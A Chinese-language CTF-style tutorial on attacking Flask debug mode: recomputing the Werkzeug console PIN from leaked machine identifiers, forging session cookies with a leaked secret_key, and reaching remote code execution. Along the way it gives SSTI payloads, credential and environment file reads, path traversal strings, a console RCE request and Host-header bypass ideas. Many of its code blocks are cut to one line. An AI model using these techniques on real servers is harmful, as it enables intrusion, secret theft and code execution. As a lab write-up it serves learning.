Flask Debugger PIN 计算与 Session 伪造完全攻略
前言
Flask 的 debug 模式会启动 Werkzeug 交互式调试控制台(/console)。这个控制台受一个 PIN 码保护——而这个 PIN 码是由机器的稳定特征信息计算出来的,一旦攻击者通过文件读取或 SSTI 获取到这些特征值,就能在本地复算出 PIN 码,进而在目标服务器上执行任意 Python 代码。
此外,Flask 的 session 存储在客户端 Cookie 中,只靠 secret_key 签名防篡改。如果 secret_key 泄露(通常也在环境变量 /proc/self/environ 中),攻击者即可伪造任意 session。
本文系统梳理:PIN 码如何计算 → 各部分如何获取 → 手算 PIN 码 → Session 伪造 → 完整攻击链。
一、Werkzeug Debugger 与 PIN 机制
1.1 什么是 Werkzeug
Werkzeug 是 Flask 底层用的 WSGI 工具库。当 Flask 以 debug=True 启动时,Werkzeug 会在以下路由提供调试功能:
| 路由 | 功能 |
|---|---|
/console |
交互式 Python 控制台(需 PIN 码) |
/debug |
调试信息页 |
/console 相当于一个浏览器内的 Python REPL,可以执行任意代码——因此它是拿到 Flask debug 模式服务器权限的最直接路径。
1.2 PIN 认证请求格式
打开 /console 页面后,浏览器向服务器发送:
1 | GET /console?__debugger__=yes&cmd=pinauth&pin=123-456-789&s=3YTBnR7SAoHOJWUIFhVI |
| 参数 | 含义 |
|---|---|
__debugger__=yes |
标识这是调试器请求 |
cmd=pinauth |
执行 PIN 码认证命令 |
pin=<pin> |
用户输入的 PIN 码 |
s=<secret> |
会话标识符(每个调试页面唯一,可从页面源码获取) |
认证成功后,服务器返回一个 Cookie,后续所有命令都带着这个 Cookie 即可执行。
1 | 请求: GET /console?__debugger__=yes&cmd=print(open('/flag').read())&frm=0&s=xxx |
frm 参数: 表示当前执行栈帧(frame)。0 是最顶层帧,数字越大越接近调用栈底部。在报错页面可以直观看到帧的概念:
1 | def function_a(): |
frm的值从报错页面的 traceback 中可以获取,如果没有 traceback,默认为0。
二、PIN 码的构成
Werkzeug 的 PIN 码由 6 个部分 拼接后经算法计算得出:
1 | 输入: username + modname + appname + moddir + uuidnode + machine_id |
| 序号 | 变量 | 含义 | 默认值 |
|---|---|---|---|
| 1 | username |
运行 Flask 进程的系统用户名 | 无默认值,必须获取 |
| 2 | modname |
Flask 模块名 | flask.app |
| 3 | appname |
Flask 应用实例的类名 | Flask |
| 4 | moddir |
flask/app.py(Werkzeug ≥ 3.0)或 werkzeug/debug/__init__.py(老版本)的绝对路径 |
取决于安装路径 |
| 5 | uuidnode |
当前网卡 MAC 地址的十进制整数形式 | 必须获取 |
| 6 | machine_id |
机器标识符,由 2~3 个系统文件内容合并 | 必须获取 |
Werkzeug 版本区分: Werkzeug ≥ 3.0 后 PIN 算法和文件选择有变化。本文以 Werkzeug 3.0.x 为主(对应 Flask 3.x)。
三、各部分获取方式
3.1 username —— 运行 Flask 的用户名
方法一:文件读取 /etc/passwd
1 | cat /etc/passwd | grep -E ':/home/|:/root/' |
通常 Docker 容器中运行用户是 root 或 ctf。
方法二:SSTI 获取
1 | # 通用 payload(getpass 模块) |
常见包含 getpass 的模块: os、sys、socket、subprocess、paramiko、ftplib。遍历 __subclasses__() 找到这些模块的 __init__.__globals__ 即可导出 getpass。
3.2 modname —— 默认值 flask.app
绝大多数情况下直接用默认值:
1 | flask.app |
如需确认,可通过 SSTI:
1 | getattr(app, "__module__", t.cast(object, app).__class__.__module__) |
3.3 appname —— 默认值 Flask
同样直接用默认值:
1 | Flask |
确认方式:
1 | getattr(app, "__name__", app.__class__.__name__) |
3.4 moddir —— flask/app.py 绝对路径
方法一:报错页面直接看到
Flask debug 模式下的报错页面会显示完整的文件路径和 traceback,直接能找到 flask/app.py 的路径。
典型路径:
- Docker:
/usr/local/lib/python3.8/site-packages/flask/app.py - 虚拟环境:
/venv/lib/python3.10/site-packages/flask/app.py
方法二:SSTI
1 | {{ config.__class__.__init__.__globals__['__file__'] }} |
3.5 uuidnode —— MAC 地址的十进制表示
方法一:读取网卡文件
1 | cat /sys/class/net/eth0/address |
方法二:SSTI
1 | {{ ''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['uuid'].getnode() }} |
uuid.getnode() 返回的是一个十进制整数,例如:
1 | 02:42:ac:11:00:02 → 十进制: 2485377892354 |
转换方式:
1 | # 去掉冒号,当作十六进制转十进制 |
3.6 machine_id —— 机器标识符
machine_id 由以下文件拼接而成,读取逻辑取决于是否为 Docker 环境:
| 文件 | 内容示例 | 读取条件 |
|---|---|---|
/etc/machine-id |
d4e5f6a7b8c9... |
仅非 Docker 环境读取(如果存在则不再读 boot_id) |
/proc/sys/kernel/random/boot_id |
a1b2c3d4-... |
Docker 环境读取;非 Docker 环境下 /etc/machine-id 不存在时作为替代 |
/proc/self/cgroup |
0::/docker/abc123... 或 /docker/abc123... |
Docker 和非 Docker 都读取 |
读取逻辑(Werkzeug 3.0.x 源码行为)
1 | Docker 环境: |
Docker 判定方式
Werkzeug 通过检查 cgroup 文件中是否包含 docker 或 libpod 字符串来判断是否在容器内。Docker 容器中 /proc/self/cgroup 内容类似:
1 | 12:devices:/docker/abc123def456789... |
关键: cgroup 的取值规则是取第一行最后一个
/之后的内容。在 Werkzeug 3.0.x 中,取的是0::开头的那一行(cgroup v2)或传统格式的最后字段。
四、PIN 码计算 —— 完整脚本
4.1 Werkzeug 3.0.x 版本
1 | #!/usr/bin/env python3 |
4.2 通用版(兼容 Werkzeug 2.x / 3.0.x)
1 | #!/usr/bin/env python3 |
4.3 获取 s 参数(调试会话密钥)
在发起 /console?__debugger__=yes&... 请求之前,需要先从页面源码提取 s 参数:
1 | import re |
如果没有报错页面可供触发,可以访问一个不存在的路由(404),Flask debug 模式的 404 页面源码中同样包含 SECRET。
五、Flask Session 伪造
5.1 Session 存储原理
Flask 是轻量级框架,session 数据不存服务端,而是序列化后放在客户端的 Cookie 中,仅通过 secret_key 签名来防篡改。结构如下:
1 | eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Y48ncA.H99Th2w4FzzphEX8qAeiSPuUF_0 |
签名的计算方式(Flask 默认用 itsdangerous 库):
1 | signature = HMAC-SHA1(secret_key, session_data + "." + timestamp, salt='cookie-session') |
一旦拿到 secret_key,就能伪造任意 session。
5.2 获取 secret_key
方法一:读取 /proc/self/environ
Flask 常通过环境变量传入 SECRET_KEY:
1 | cat /proc/self/environ | tr '\0' '\n' | grep SECRET |
或通过任意文件读取漏洞:
1 | ../../../../proc/self/environ |
方法二:读取应用源码
1 | # 常见位置 |
方法三:SSTI
1 | {{ config.__class__.__init__.__globals__['current_app'].secret_key }} |
5.3 使用 flask-unsign 伪造 session
flask-unsign 是最方便的工具:
1 | # 安装 |
5.4 纯 Python 实现 session 签名
不依赖外部工具,手写签名逻辑:
1 | #!/usr/bin/env python3 |
注意: Flask 不同版本(1.x / 2.x / 3.x)使用的序列化器略有不同(
itsdangerous.URLSafeTimedSerializervsTaggedJSONSerializer)。以上代码兼容 Flask 2.x+。
六、手算 PIN 码实战(Docker 环境 & 非 Docker 环境)
6.1 构建本地测试环境
以下是一个完整的可复现环境:
app.py:
1 | from flask import Flask, request |
use_reloader=False: 调试模式下 Flask 默认会启动 reloader(文件监听进程),这会导致获取到的用户名可能是root(而非应用运行用户)。关闭 reloader 让环境更可控。
Dockerfile:
1 | FROM python:3.8 |
docker-compose.yml:
1 | version: '3.8' |
6.2 攻击流程
1 | ┌──────────────────────────────────────────────┐ |
6.3 RCE 后的命令格式
认证通过后,通过 /console 执行任意 Python:
1 | GET /console?__debugger__=yes&cmd=__import__('os').popen('cat /flag').read()&frm=0&s=<SECRET> HTTP/1.1 |
七、特殊情况与绕过
7.1 Werkzeug ≥ 3.0.3:Host 头限制
Werkzeug 3.0.3+ 要求请求的 Host 头必须为 本地环回地址(127.0.0.1、localhost 等),否则拒绝 PIN 认证。
绕过方法:
1 | # 方法 1:SSRF → 用本地地址访问 |
如果无法绕过 Host 限制但有 SSTI,可以直接用 SSTI 拿 flag,不依赖 /console。
7.2 无法获取 machine_id 的兜底策略
如果只能读到一个 /proc/self/cgroup(boot_id 读不到),machine_id 就不完整,PIN 码无法算出。此时可以:
- 检查是否有
/proc/1/cgroup或/proc/1/environ等替代路径 - 有些 CTF 题目直接给了 Flask 源码,可能
/app/目录下有requirements.txt暴露了 Werkzeug 版本,方便调试 - 如果能在本地完全复现目标 Docker 环境(相同镜像),可以本地起一个同样的容器 → 触发 PIN → 拿 PIN 算法反推
7.3 非 Docker 环境
非 Docker 环境优先读 /etc/machine-id:
1 | cat /etc/machine-id |
7.4 无法读 MAC 地址
如果 /sys/class/net/eth0/address 不可读:
- 尝试其他网卡:
/sys/class/net/ens33/address、/sys/class/net/lo/address - SSTI 用
uuid.getnode()直接获取(只要有任意包含uuid模块的 gadget 链即可) - 但在 Docker 中,MAC 地址前两字节固定为
02:42(Docker 默认虚拟网桥)
八、总结对比表
| 攻击目标 | 前置条件 | 关键信息 | 工具/方式 |
|---|---|---|---|
| PIN 码计算 | Debug 模式 (debug=True) |
username + MAC + boot_id + cgroup + moddir | 手写 hash 脚本 |
| Session 伪造 | secret_key 泄露 |
可从 /proc/self/environ 或源码获取 |
flask-unsign / itsdangerous |
| SSTI → RCE | 存在 SSTI 点 | 无需 debug 模式 | 直接 SSTI 执行命令 / 读文件 |
/console RCE |
debug 模式 + PIN 码 | PIN 可通过文件读取 + 计算得到 | HTTP 请求带 Cookie |